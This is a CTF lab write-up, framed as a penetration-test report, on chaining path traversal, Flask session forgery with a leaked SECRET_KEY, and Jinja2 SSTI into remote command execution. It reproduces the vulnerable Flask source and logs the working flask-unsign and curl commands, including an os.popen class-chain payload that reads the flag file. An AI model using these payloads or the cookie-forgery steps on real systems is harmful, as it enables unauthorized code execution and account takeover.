SSTI
內容
3 Testing
Methods and Procedures
4 Discovered
vulnerabilities and risk assessment
5 Repair
suggestions and strategies
1 Abstract
The target of this
penetration test – the " SSTI stitching / combination
type question" – is based on the
"From 0 to 1 : The CTFer Growth Path"
question, and the goal is to obtain the flag.txt ( sensitive
information ) .
This is a very standard yet
advanced SSTI challenge . Although it initially appeared to be a
simple file read ( LFI ) test when I tested
` /article {4*2}` , this is precisely the ingenious level
design. In CTFs or actual penetration testing, this type of challenge
is known as a " Vulnerability Chaining " challenge.
The essence of this problem
is still SSTI , but the author has added several layers of defense to
it:
Phase 1 (Entry
Point): LFI ( Arbitrary File Read): You must first use a path
traversal vulnerability to read server.py and key.py.
Phase Two (Bypassing
Defenses): Flask Session Forgery: The
real SSTI vulnerability lies in `/n1page` , but the
backend strictly filters for strings
like `.` , `_` , `{` , and ` }` . If you
directly input the payload from the frontend , SSTI will
absolutely not be triggered. Therefore, you must use the
`SECRET_KEY` stolen in Phase One to forge a
cookie locally . Leveraging the characteristics of Session deserialization
(or assignment), you can bypass the filter and directly
"drop" the payload into the backend variables.
The third stage (core
vulnerability): SSTI (Server-Side Template Injection):
The SSTI vulnerability is only truly triggered when the backend
executes render_template_string(template) to render
content containing your forged Session , and ultimately transforms
into RCE (Remote Execution of Code) to allow you to obtain the
Flag .
Therefore, this is not a
simple textbook SSTI , but a classic advanced variation of the
problem that "uses LFI as a springboard,
uses Session forgery to bypass the blacklist, and finally
triggers SSTI ".
。
2 Scope and Purpose
The
purpose of this penetration test is to highlight our company's penetration
testing services and present them in a complete report format so that our
potential clients can align their needs and use this as a benchmark for
commissioning penetration testing from our company in the future.
|
Note title |
Explanation
of SSTI server-side template injection |
|
Knowledge Description |
In penetration testing, a "white
box" (where the source code is visible) is generally more accurate and
faster at finding core vulnerabilities and confidential information than a
"black box" (purely guessing). |
|
Principle Thinking |
Traditional SSTI vulnerabilities
allow for the extraction of sensitive information through parameter
injection. However, the target machine environment in this case filters
sensitive keywords by default. But server.py uses pure string
formatting and concatenation, allowing us to accurately identify flag.py
after obtaining the source code. Furthermore, we can trigger
the SSTI vulnerability using session forgery and
then execute remote commands. In server.py , the key line
of code handling /n1page is this: Python 1. template
= '''<h1>N1 Page</h1> 2. Hello :
%s, why you don't look at our... 3. ...'''
% session['n1code'] This uses Python 's
old-fashioned string formatting operator %s .
At this point, the actual content of
the variable ` template` in memory becomes: HTML 1. <h1>N1
Page</h1> 2. <div
class="row"> 3. <div
class="col-md-6 col-md-offset-3 center"> 4. Hello
: {{[].__class__.__base__.__subclasses__()[59]...}}, why you don't look at
our... 5. </div> 6. </div> |
|
Association Thinking |
Previously, when we were testing target
drones, we would test the flag.txt file . However, the target drone
is located in flag.py , so we need to change our approach. |
|
Application Thinking |
Packaging the
payload into a session is called a session forgery
attack . When an attacker obtains the key used for encryption or
signing on the backend (such as SECRET_KEY in this question ), they
can repackage and sign the payload on their local machine according to the
backend's algorithm (such
as Flask 's itsdangerous mechanism) and generate a
malicious session string. This behavior is
called session forgery. |
|
Experience association |
The dramatic turning point came with
obtaining information about the system installation. Penetration testing
tests the ability to find clues from the smallest details. We had been stuck
on the program's logic, and because the SSTI vulnerability was
relatively well-hidden, we couldn't find a way in. But once we knew it was
based on the n1book architecture, online resources
or AI could provide solutions. 1. docker-compose.yml 2. version:
'3.2' 3. services: 4. web: 5. image:
registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest 6. ports: 7. -
5000:5000 8. Startup
Method 9. docker-compose
up -d |
|
Guidance behavior |
For this test, I want to collect more
original code and rebuild the environment locally, especially to understand
the program logic, not just relying on AI to interpret it, but
manually generating meaningful attack commands. |
|
Tool Derivatives |
In this test, we used
the flask-unsign tool, along with a key obtained
from secret.py , to successfully forge a session . This
technique could be explored for future applications on websites that require
login or sessions . This technique is based on the premise
that "the attacker has already obtained the hardcoded secret key of
the server backend through other vulnerabilities (such as LFI , log
leakage, misconfiguration) ". We can use it for privilege escalation
and identity forgery . When a website uses Flask 's
default Client-side Session (which stores encrypted or signed
states in browser cookies ), any field within the
Session can be arbitrarily modified once the key is leaked . Test purpose: To verify whether the
system's identity can be directly taken over under
an insecure session design. Specific context: Turning a regular user into an
administrator: If the
decrypted Session contains {"is_admin": false,
"role": "user"} , it can be forged
into {"is_admin": true, "role": "admin"} ,
bypassing the login page and directly accessing the backend management
interface. Unauthorized Access ( IDOR ):
Modifies {"user_id": 1002} to {"user_id":
1001} (e.g., the ID of a senior manager or administrator ),
and moves laterally to another user's account without triggering password
verification. |
3 Testing Methods and Procedures
Test method:
I.Scanning Tools: Chrome browser
platform, Kali attack machine, Gemini AI
II.Standard: WSTG-INPV-18 [1] Testing
for Code Injection
The OWASP Web Security Testing Guide
(WSTG) is widely recognized as the most authoritative blueprint for web
security testing in the global cybersecurity community . It goes beyond theory,
providing penetration testers with a standardized set of procedures, detailing
the tests that should be performed on web applications, APIs , and services.
The deserialization in this penetration test is part of server-side template
injection.
III.
Inspection Items:
I.
Identify template injection vulnerabilities.
II. Identify template engines.
III.Establishing a remote code
execution vulnerability exploit
Schedule:
I.Scanning and penetration time: June
13, 2026, 09 : 00-18 : 00
II.Report Writing Period: June 20,
2026 - June 27, 2026, 09:00-18 : 00
4 Discovered vulnerabilities and risk
assessment
I. Vulnerability Name and Description:
SSTI vulnerability, which allows for remote execution of arbitrary programs.
II. Types of vulnerabilities: Input
validation vulnerabilities
III. Severity score ( CVSS scoring
system): 7.0 to 10 (out of 10 )
IV. Affected Systems or Components:
Affects Linux and Windows cross-platform operating systems.
V. The testing process:
1.
Understanding the essence: Initially, the fact that {4*2} was not parsed
led to the conclusion that this was not SSTI but LFI (Local File Inclusion)
vulnerability.
2.
Flexible bypass: It was discovered that LFI filtered the keyword "
flag" , so the fatal clue was obtained by reading the system environment
variable /proc/self/environ .
3.
Code audit: Accurately locate and extract the source code of server.py ,
analyze it to find that it contains the encryption key for Flask Session , and
discover that the real SSTI is hidden in /n1page .
4.
Session forgery: Using the flask-unsign tool locally , along with the
obtained key, characters such as ., _, {, }, which would normally be filtered
by the frontend, are directly encapsulated into an encrypted session ,
successfully bypassing the check.
5.
Final blow: The RCE payload using Python 2.7 class chains successfully
executed system commands to read the file.
VI. Potential Risks and Impacts:
CVE-2024-29686 (Winter CMS Template
Injection ) : Allows a remote attacker to execute arbitrary code through a
carefully crafted payload .
CVE-2022-22954 (VMware Workspace ONE)
: With a CVSS score of 9.8 , it is classified as severe, caused by server-side
template injection, leading to remote code execution (RCE)
5 Repair suggestions and strategies
1. Key Security Management : Never hardcode the SECRET_KEY in your code.
Use an environment variable or a dedicated key management system (such as AWS
Secrets Manager or HashiCorp Vault ) to load it dynamically at runtime.
2. Use Server-side Session : In sensitive systems, it is recommended to
store detailed session information in a backend database (such as Redis or
MySQL ), and the browser's cookie should only store a random session ID ( UUID
). In this way, even if the key is guessed, attackers cannot forge a session ID
that does not exist in the database locally .
3. Zero Trust Principle for Variables : Regardless of whether the data
comes from request.form or session[] , any variable that will be rendered (such
as render_template_string ) or entered into the database ( SQL ) is considered
"untrusted input" and must be handled using a secure parameterized
method.
6 Conclusions
To
summarize the process and results of this penetration test, the two most
important findings and recommendations are: First, in the field of penetration
testing, understanding the target system is crucial, especially in the era of
SaaS . There are abundant resources on the cloud and GitHub that can help us
understand the target system. Once the target system is exposed, AI has the
opportunity to find vulnerabilities.
Secondly,
AI- assisted attacks often reach dead ends, such as sticking to a certain
solution. As penetration testing experts, we must find information and new
ideas, especially with SSTI , the target in this case , which has various
different frameworks, and the framework can affect the formation of
vulnerabilities.
What
kinds of websites / systems does SSTI mostly use ?
This
penetration test is essentially an SSTI , just with a few additional layers of
defense added to the website:
1. First stage (entry point): LFI (
Arbitrary File Reading) You must first use a path traversal vulnerability to
read server.py and key.py.
2. Second Stage (Bypassing Defenses): The
Flask Session forges a genuine SSTI vulnerability in `/n1page` , but the
backend performs strict string replacement filtering on ` .` , ` _` , ` {` ,
and ` }` . If the payload is directly input from the frontend , SSTI will
absolutely not be triggered. Therefore, you must use the `SECRET_KEY` stolen in
the first stage to forge a cookie locally , and leverage the characteristics of
Session deserialization (or assignment) to bypass the filter and directly
"drop" the payload into the backend variables .
3. Third stage (core vulnerability): SSTI
(Server-Side Template Injection). The SSTI vulnerability is only truly
triggered when the backend executes render_template_string(template) to render
content containing your forged Session . It eventually transforms into RCE
(Remote Execution of Code) and allows you to obtain the Flag .
7 Attachments and References
Step1.
The key service.py source code is attached.
1. #!/usr/bin/python
2. # -*- coding: utf-8 -*-
3.
4.
import os
5.
from flask import (
6.
Flask,
7.
render_template,
8.
request,
9.
url_for,
10.
redirect,
11.
session,
12.
render_template_string
13.
)
14.
from flask_session import
Session
15.
16.
app = Flask(__name__)
17.
18.
# 載入同目錄下的 flag.py 與 key.py
19.
execfile('flag.py')
20.
execfile('key.py')
21.
22.
FLAG = flag
23.
app.secret_key = key
24.
25.
# 漏洞點 2:隱藏的 SSTI 路由(帶有嚴格的關鍵字過濾)
26.
@app.route("/n1page",
methods=["GET", "POST"])
27.
def n1page():
28.
if request.method != "POST":
29.
return
redirect(url_for("index"))
30.
31.
n1code =
request.form.get("n1code") or None
32.
33.
# 前端關鍵字過濾:將點、底線、大括號全部吃掉
34.
if n1code is not None:
35.
n1code = n1code.replace(".",
"").replace("_",
"").replace("{","").replace("}","")
36.
37.
# 如果 Session 裡沒有 n1code,才把過濾後的 n1code 放進去
38.
if "n1code" not in session or
session['n1code'] is None:
39.
session['n1code'] = n1code
40.
41.
template = None
42.
43.
# 真正的 SSTI 觸發點:直接將 Session 內容拼接進模板字串中渲染
44.
if session['n1code'] is not None:
45.
template = '''<h1>N1
Page</h1>
46.
<div
class="row">
47.
<div class="col-md-6
col-md-offset-3 center">
48.
Hello : %s, why you don't look at our
<a href='/article?name=article'>article</a>?
49.
</div>
50.
</div>
51.
''' % session['n1code']
52.
53.
session['n1code'] = None # 渲染後清空
54.
55.
return render_template_string(template)
56.
57.
# 首頁路由
58.
@app.route("/",
methods=["GET"])
59.
def index():
60.
return
render_template("main.html")
61.
62.
# 漏洞點 1:入口處的 LFI(本地檔案包含)
63.
@app.route('/article',
methods=['GET'])
64.
def article():
65.
error = 0
66.
if 'name' in request.args:
67.
page = request.args.get('name')
68.
else:
69.
page = 'article'
70.
71.
# 關鍵字過濾:只要匹配到
'flag' 就強制跳轉到錯誤提示檔
72.
if page.find('flag') >= 0:
73.
page = 'notallowed.txt'
74.
75.
try:
76.
# 檔案讀取點
77.
template =
open('/home/nu11111111l/articles/{}'.format(page)).read()
78.
except Exception as e:
79.
template = e
80.
81.
return render_template('article.html',
template=template)
82.
83.
if __name__ ==
"__main__":
84.
app.run(host='0.0.0.0', port=80,
debug=False)
Step2. After installing flask-unsign and obtaining the key
[2] , trigger the SSTI vulnerability to obtain the flag.
Since we've already
gained access to arbitrary file reading, we can most likely use LFI to read
flag.py directly . Although reading the flag directly will be blocked, the
filename being flag.py and containing the flag will still be blocked. However,
because the key allows us to trigger SSTI on /n1page , once we have the key ,
we can execute arbitrary commands through SSTI to read the flag .
Please help me perform
the first step: read ../../../../home/sssssserver/key.py and see what the key
is.
Article Content:
#!/usr/bin/python key =
'Drmhze6EPcv0fN_81Bj-nA'
┌──(kali㉿kali)-[~]
└─$ pip3 install flask-unsign
Defaulting to user installation because normal
site-packages is not writeable
Collecting flask-unsign
Downloading
flask_unsign-1.2.1-py3-none-any.whl.metadata (6.9 kB)
Requirement already satisfied: flask in
/usr/lib/python3/dist-packages (from flask-unsign) (3.0.3)
Requirement already satisfied: requests in
/usr/lib/python3/dist-packages (from flask-unsign) (2.31.0)
Requirement already satisfied: itsdangerous in
/usr/lib/python3/dist-packages (from flask-unsign) (2.1.2)
Requirement already satisfied: markupsafe in
/usr/lib/python3/dist-packages (from flask-unsign) (2.1.5)
Requirement already satisfied: werkzeug in
/usr/lib/python3/dist-packages (from flask-unsign) (3.0.3)
Requirement already satisfied: Jinja2>=3.1.2 in
/usr/lib/python3/dist-packages (from flask->flask-unsign) (3.1.3)
Requirement already satisfied: click>=8.1.3 in
/usr/lib/python3/dist-packages (from flask->flask-unsign) (8.1.7)
Requirement already satisfied: blinker>=1.6.2 in
/usr/lib/python3/dist-packages (from flask->flask-unsign) (1.8.2)
Downloading flask_unsign-1.2.1-py3-none-any.whl (14
kB)
Installing collected packages: flask-unsign
WARNING: The
script flask-unsign is installed in '/home/kali/.local/bin' which is not on
PATH.
Consider
adding this directory to PATH or, if you prefer to suppress this warning, use
--no-warn-script-location.
Successfully installed flask-unsign-1.2.1
┌──(kali㉿kali)-[~]
└─$ flask-unsign --decode --cookie
"eyJuMWNvZGUiOm51bGx9.ai0KCA.MekwClzTI5uopvFBItE8PIIwX6w"
flask-unsign: command not found
┌──(kali㉿kali)-[~]
└─$ /home/kali/.local/bin/flask-unsign --decode
--cookie "eyJuMWNvZGUiOm51bGx9.ai0KCA.MekwClzTI5uopvFBItE8PIIwX6w"
{'n1code': None}
┌──(kali㉿kali)-[~]
└─$ /home/kali/.local/bin/flask-unsign --sign
--cookie "{'n1code': '{{config.items()}}'}" --secret
'Drmhze6EPcv0fN_81Bj-nA'
eyJuMWNvZGUiOiJ7e2NvbmZpZy5pdGVtcygpfX0ifQ.ai0M3w.kSKfIa2noX86Fr5_yw8sMzpE3NQ
┌──(kali㉿kali)-[~]
└─$ curl -X POST
http://challenge-76e5da0fc378806b.sandbox.ctfhub.com:10800/n1page \
-d
"n1code=test" \
-H
"Cookie: session=eyJuMWNvZGUiOiJ7e2NvbmZpZy5pdGVtcygpfX0ifQ.ai0M3w.kSKfIa2noX86Fr5_yw8sMzpE3NQ"
<h1>N1 Page</h1> <div
class="row> <div class="col-md-6 col-md-offset-3
center"> Hello : [('JSON_AS_ASCII', True),
('USE_X_SENDFILE', False),
('SESSION_COOKIE_SECURE', False),
('SESSION_COOKIE_PATH', None),
('SESSION_COOKIE_DOMAIN', False),
('SESSION_COOKIE_NAME', 'session'),
('MAX_COOKIE_SIZE', 4093),
('SESSION_COOKIE_SAMESITE', None),
('PROPAGATE_EXCEPTIONS', None), ('ENV',
'production'), ('DEBUG', False),
('SECRET_KEY', 'Drmhze6EPcv0fN_81Bj-nA'),
('EXPLAIN_TEMPLATE_LOADING', False),
('MAX_CONTENT_LENGTH', None),
('APPLICATION_ROOT', '/'), ('SERVER_NAME',
None), ('PREFERRED_URL_SCHEME', 'http'),
('JSONIFY_PRETTYPRINT_REGULAR', False),
('TESTING', False),
('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)), ('TEMPLATES_AUTO_RELOAD',
None), ('TRAP_BAD_REQUEST_ERRORS', None),
('JSON_SORT_KEYS', True), ('JSONIFY_MIMETYPE',
'application/json'),
('SESSION_COOKIE_HTTPONLY', True),
('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)),
('PRESERVE_CONTEXT_ON_EXCEPTION', None),
('SESSION_REFRESH_EACH_REQUEST', True),
('TRAP_HTTP_EXCEPTIONS', False)], why you don't look at our
<a href='/article?name=article'>article</a>? </div>
</div>
┌──(kali㉿kali)-[~]
└─$ /home/kali/.local/bin/flask-unsign --sign
--cookie "{'n1code': '{{lipsum.__globals__}}'}" --secret
'Drmhze6EPcv0fN_81Bj-nA'
eyJuMWNvZGUiOiJ7e2xpcHN1bS5fX2dsb2JhbHNfX319In0.ai0NiA.g5ORV9M5_2gR6nfDYboFqWi0w6k
┌──(kali㉿kali)-[~]
└─$ curl -X POST
http://challenge-76e5da0fc378806b.sandbox.ctfhub.com:10800/n1page \
-d
"n1code=test" \
-H
"Cookie: session=eyJuMWNvZGUiOiJ7e2xpcHN1bS5fX2dsb2JhbHNfX319In0.ai0NiA.g5ORV9M5_2gR6nfDYboFqWi0w6k"
<h1>N1 Page</h1> <div
class="row> <div class="col-md-6 col-md-offset-3
center"> Hello : {'_word_split_re':
<_sre.SRE_Pattern object at 0x7fa5ea8dc240>,
'_entity_re': <_sre.SRE_Pattern object at
0x7fa5ea8dec30>, 'randrange': <bound method
Random.randrange of <random.Random object at
0x55743b761640>>, 'Namespace': <class
'jinja2.utils.Namespace'>,
'evalcontextfunction': <function evalcontextfunction at
0x7fa5ea7d7ad0>, 'escape': <function escape at
0x7fa5eadc3450>, 'consume': <function consume at
0x7fa5ea7db1d0>, 'htmlsafe_json_dumps': <function
htmlsafe_json_dumps at 0x7fa5ea7f50d0>, 'abc':
<module 'collections' from
'/usr/local/lib/python2.7/collections.pyc'>,
'_digits': '0123456789',
'urlize': <function urlize at 0x7fa5ea7ee250>,
'_simple_email_re': <_sre.SRE_Pattern object at
0x7fa5eadb7cb0>, 'url_quote': <function quote at
0x7fa5ea8f0d50>, '_punctuation_re':
<_sre.SRE_Pattern object at 0x7fa5ea7f1200>,
'__package__': 'jinja2', 're':
<module 're' from
'/usr/local/lib/python2.7/re.pyc'>,
'json': <module 'json' from
'/usr/local/lib/python2.7/json/__init__.pyc'>,
'LRUCache': <class 'jinja2.utils.LRUCache'>,
'Markup': <class
'markupsafe.Markup'>, 'deque':
<type 'collections.deque'>,
'open_if_exists': <function open_if_exists at
0x7fa5ea7e3a50>, 'environmentfunction': <function
environmentfunction at 0x7fa5ea7d7dd0>, 'warnings':
<module 'warnings' from
'/usr/local/lib/python2.7/warnings.pyc'>,
'__builtins__': {'bytearray': <type
'bytearray'>, 'IndexError': <type
'exceptions.IndexError'>, 'all':
<built-in function all>, 'help': Type help() for
interactive help, or help(object) for help about object.,
'vars': <built-in function vars>,
'SyntaxError': <type
'exceptions.SyntaxError'>, 'unicode':
<type 'unicode'>,
'UnicodeDecodeError': <type
'exceptions.UnicodeDecodeError'>,
'memoryview': <type
'memoryview'>, 'isinstance':
<built-in function isinstance>, 'copyright':
Copyright (c) 2001-2019 Python Software Foundation.
All Rights Reserved.
Copyright (c) 2000 BeOpen.com.
All Rights Reserved.
Copyright (c) 1995-2001 Corporation for National
Research Initiatives.
All Rights Reserved.
Copyright (c) 1991-1995 Stichting Mathematisch
Centrum, Amsterdam.
All Rights Reserved., 'NameError':
<type 'exceptions.NameError'>,
'BytesWarning': <type
'exceptions.BytesWarning'>, 'dict':
<type 'dict'>, 'input':
<built-in function input>, 'oct':
<built-in function oct>, 'bin': <built-in
function bin>, 'SystemExit': <type
'exceptions.SystemExit'>,
'StandardError': <type
'exceptions.StandardError'>, 'format':
<built-in function format>, 'repr':
<built-in function repr>, 'sorted':
<built-in function sorted>, 'False': False,
'RuntimeWarning': <type 'exceptions.RuntimeWarning'>,
'list': <type 'list'>,
'iter': <built-in function iter>,
'reload': <built-in function reload>, 'Warning':
<type 'exceptions.Warning'>,
'__package__': None, 'round': <built-in
function round>, 'dir': <built-in function
dir>, 'cmp': <built-in function cmp>,
'set': <type 'set'>,
'bytes': <type 'str'>,
'reduce': <built-in function reduce>,
'intern': <built-in function intern>,
'issubclass': <built-in function issubclass>,
'Ellipsis': Ellipsis, 'EOFError': <type
'exceptions.EOFError'>, 'locals':
<built-in function locals>, 'BufferError':
<type 'exceptions.BufferError'>,
'slice': <type 'slice'>,
'FloatingPointError': <type
'exceptions.FloatingPointError'>, 'sum':
<built-in function sum>, 'getattr':
<built-in function getattr>, 'abs':
<built-in function abs>, 'exit': Use exit() or
Ctrl-D (i.e. EOF) to exit, 'print': <built-in function
print>, 'True': True, 'FutureWarning':
<type 'exceptions.FutureWarning'>,
'ImportWarning': <type
'exceptions.ImportWarning'>, 'None':
None, 'hash': <built-in function hash>,
'ReferenceError': <type
'exceptions.ReferenceError'>, 'len':
<built-in function len>, 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope
Corporation and a cast of thousands
for
supporting Python development. See
www.python.org for more information., 'frozenset': <type
'frozenset'>, '__name__':
'__builtin__', 'ord': <built-in function
ord>, 'super': <type
'super'>, 'TypeError': <type
'exceptions.TypeError'>, 'license': Type
license() to see the full license text, 'KeyboardInterrupt':
<type 'exceptions.KeyboardInterrupt'>,
'UserWarning': <type
'exceptions.UserWarning'>, 'filter':
<built-in function filter>, 'range':
<built-in function range>, 'staticmethod':
<type 'staticmethod'>,
'SystemError': <type
'exceptions.SystemError'>,
'BaseException': <type
'exceptions.BaseException'>, 'pow':
<built-in function pow>, 'RuntimeError':
<type 'exceptions.RuntimeError'>,
'float': <type 'float'>,
'MemoryError': <type
'exceptions.MemoryError'>,
'StopIteration': <type
'exceptions.StopIteration'>, 'globals':
<built-in function globals>, 'divmod':
<built-in function divmod>, 'enumerate':
<type 'enumerate'>, 'apply':
<built-in function apply>, 'LookupError':
<type 'exceptions.LookupError'>,
'open': <built-in function open>,
'quit': Use quit() or Ctrl-D (i.e. EOF) to exit,
'basestring': <type
'basestring'>, 'UnicodeError':
<type 'exceptions.UnicodeError'>,
'zip': <built-in function zip>,
'hex': <built-in function hex>,
'long': <type 'long'>,
'next': <built-in function next>,
'ImportError': <type 'exceptions.ImportError'>,
'chr': <built-in function chr>,
'xrange': <type 'xrange'>,
'type': <type 'type'>,
'__doc__': "Built-in functions, exceptions, and other
objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents
`...' in slices.", 'Exception': <type
'exceptions.Exception'>, 'tuple':
<type 'tuple'>,
'UnicodeTranslateError': <type
'exceptions.UnicodeTranslateError'>,
'reversed': <type 'reversed'>,
'UnicodeEncodeError': <type 'exceptions.UnicodeEncodeError'>,
'IOError': <type
'exceptions.IOError'>, 'hasattr':
<built-in function hasattr>, 'delattr':
<built-in function delattr>, 'setattr':
<built-in function setattr>, 'raw_input':
<built-in function raw_input>, 'SyntaxWarning':
<type 'exceptions.SyntaxWarning'>, 'compile':
<built-in function compile>, 'ArithmeticError':
<type 'exceptions.ArithmeticError'>,
'str': <type 'str'>,
'property': <type 'property'>,
'GeneratorExit': <type
'exceptions.GeneratorExit'>, 'int':
<type 'int'>, '__import__':
<built-in function __import__>, 'KeyError':
<type 'exceptions.KeyError'>,
'coerce': <built-in function coerce>,
'PendingDeprecationWarning': <type
'exceptions.PendingDeprecationWarning'>,
'file': <type 'file'>,
'EnvironmentError': <type
'exceptions.EnvironmentError'>,
'unichr': <built-in function unichr>,
'id': <built-in function id>,
'OSError': <type
'exceptions.OSError'>,
'DeprecationWarning': <type
'exceptions.DeprecationWarning'>, 'min':
<built-in function min>, 'UnicodeWarning':
<type 'exceptions.UnicodeWarning'>,
'execfile': <built-in function execfile>,
'any': <built-in function any>,
'complex': <type 'complex'>,
'bool': <type 'bool'>,
'ValueError': <type
'exceptions.ValueError'>,
'NotImplemented': NotImplemented, 'map':
<built-in function map>, 'buffer': <type
'buffer'>, 'max': <built-in
function max>, 'object': <type
'object'>, 'TabError': <type
'exceptions.TabError'>, 'callable':
<built-in function callable>,
'ZeroDivisionError': <type
'exceptions.ZeroDivisionError'>, 'eval':
<built-in function eval>, '__debug__': True,
'IndentationError': <type
'exceptions.IndentationError'>,
'AssertionError': <type
'exceptions.AssertionError'>, 'classmethod':
<type 'classmethod'>,
'UnboundLocalError': <type
'exceptions.UnboundLocalError'>,
'NotImplementedError': <type
'exceptions.NotImplementedError'>,
'AttributeError': <type
'exceptions.AttributeError'>,
'OverflowError': <type
'exceptions.OverflowError'>},
'text_type': <type 'unicode'>,
'__file__':
'/usr/local/lib/python2.7/site-packages/jinja2/utils.pyc',
'have_async_gen': False, '_letters':
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'choice': <bound method Random.choice of
<random.Random object at 0x55743b761640>>,
'unicode_urlencode': <function unicode_urlencode at
0x7fa5ea7ee350>, '__name__': 'jinja2.utils',
'Cycler': <class
'jinja2.utils.Cycler'>, 'Joiner':
<class 'jinja2.utils.Joiner'>,
'soft_unicode': <function soft_unicode at 0x7fa5ea7f5750>,
'concat': <built-in method join of unicode object at
0x7fa5eaf13300>, 'internalcode': <function
internalcode at 0x7fa5ea7db0d0>, 'internal_code':
set([<code object load at 0x7fa5ea804430, file
"/usr/local/lib/python2.7/site-packages/jinja2/loaders.py",
line 101>, <code object select_template at 0x7fa5ea7fe2b0, file
"/usr/local/lib/python2.7/site-packages/jinja2/environment.py",
line 885>, <code object load at 0x7fa5ea101bb0, file
"/usr/local/lib/python2.7/site-packages/jinja2/loaders.py",
line 379>, <code object _get_default_module at 0x7fa5ea7fed30,
file
"/usr/local/lib/python2.7/site-packages/jinja2/environment.py",
line 1168>, <code object _fail_with_undefined_error at
0x7fa5ea7722b0, file "/usr/local/lib/python2.7/site-packages/jinja2/runtime.py",
line 742>, <code object get_template at 0x7fa5ea7fe230, file
"/usr/local/lib/python2.7/site-packages/jinja2/environment.py",
line 862>, <code object call at 0x7fa5ea7679b0, file "/usr/local/lib/python2.7/site-packages/jinja2/runtime.py",
line 260>, <code object get_or_select_template at 0x7fa5ea7fe3b0,
file
"/usr/local/lib/python2.7/site-packages/jinja2/environment.py",
line 921>, <code object __call__ at 0x7fa5ea76cb30, file "/usr/local/lib/python2.7/site-packages/jinja2/runtime.py",
line 552>, <code object _load_template at 0x7fa5ea7fe130, file
"/usr/local/lib/python2.7/site-packages/jinja2/environment.py",
line 846>, <code object __call__ at 0x7fa5ea76c0b0, file
"/usr/local/lib/python2.7/site-packages/jinja2/runtime.py",
line 370>, <code object parse at 0x7fa5ea7f76b0, file
"/usr/local/lib/python2.7/site-packages/jinja2/environment.py",
line 522>, <code object compile at 0x7fa5ea7f7b30, file
"/usr/local/lib/python2.7/site-packages/jinja2/environment.py",
line 603>, <code object __getattr__ at 0x7fa5ea772330, file
"/usr/local/lib/python2.7/site-packages/jinja2/runtime.py",
line 749>, <code object load at 0x7fa5ea502030, file "/usr/local/lib/python2.7/site-packages/jinja2/loaders.py",
line 422>, <code object __call__ at 0x7fa5ea76ceb0, file
"/usr/local/lib/python2.7/site-packages/jinja2/runtime.py",
line 597>, <code object load at 0x7fa5ea502530, file
"/usr/local/lib/python2.7/site-packages/jinja2/loaders.py",
line 487>]), 'select_autoescape': <function
select_autoescape at 0x7fa5eae6b450>, 'Lock': <built-in
function allocate_lock>, 'string_types': (<type
'str'>, <type 'unicode'>),
'contextfunction': <function contextfunction at
0x7fa5ea7d73d0>, '__doc__': None,
'import_string': <function import_string at
0x7fa5ea7e37d0>, '_striptags_re':
<_sre.SRE_Pattern object at 0x7fa5eadbf6f0>,
'_slash_escape': True, 'pformat':
<function pformat at 0x7fa5ea7ee1d0>,
'generate_lorem_ipsum': <function generate_lorem_ipsum
at 0x7fa5ea7ee2d0>, 'object_type_repr': <function
object_type_repr at 0x7fa5ea7e3d50>, 'clear_caches':
<function clear_caches at 0x7fa5ea7e33d0>, 'os':
<module 'os' from '/usr/local/lib/python2.7/os.pyc'>,
'is_undefined': <function is_undefined at
0x7fa5ea7db5d0>, 'missing': missing}, why you don't look
at our <a href='/article?name=article'>article</a>? </div> </div>
┌──(kali㉿kali)-[~]
└─$ /home/kali/.local/bin/flask-unsign --sign
--cookie "{'n1code': '{{url_for.__globals__}}'}" --secret
'Drmhze6EPcv0fN_81Bj-nA'
eyJuMWNvZGUiOiJ7e3VybF9mb3IuX19nbG9iYWxzX199fSJ9.ai0OBg.86olI8jKLGxgu8WVg-cJr2J3fvU
┌──(kali㉿kali)-[~]
└─$ /home/kali/.local/bin/flask-unsign --sign
--cookie '{"n1code":
"{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__[\"linecache\"].os.popen(\"cat
/home/sssssserver/flag.py\").read()}}"}' --secret 'Drmhze6EPcv0fN_81Bj-nA'
.eJwdikEOwiAQRa9iZlU2EBcu9CrQkIGOLQkCYaqJIdxd5K9e3vsN0tXnjeABrelVWusjMls7yCHTBH67aWn4Rejb_f8LKZyz7jE7jCNpAzEk8ugPMrDKzLLkQmkx4PG8qCO_SPEc1Q9V9Yy4y_I1IGQl3BbRO_Qf9XE0FA.ai0OHw.Fzt93V5r0ydA9FGbUvY84bZTcrU
┌──(kali㉿kali)-[~]
└─$ curl -X POST
http://challenge-76e5da0fc378806b.sandbox.ctfhub.com:10800/n1page \
-d
"n1code=test" \
-H
"Cookie:
session=.eJwdikEOwiAQRa9iZlU2EBcu9CrQkIGOLQkCYaqJIdxd5K9e3vsN0tXnjeABrelVWusjMls7yCHTBH67aWn4Rejb_f8LKZyz7jE7jCNpAzEk8ugPMrDKzLLkQmkx4PG8qCO_SPEc1Q9V9Yy4y_I1IGQl3BbRO_Qf9XE0FA.ai0OHw.Fzt93V5r0ydA9FGbUvY84bZTcrU"
<h1>N1 Page</h1> <div
class="row> <div class="col-md-6 col-md-offset-3
center"> Hello : #!/usr/bin/python
flag = 'n1book{afr_3_solved}'
, why you don't look at our <a
href='/article?name=article'>article</a>? </div>
</div>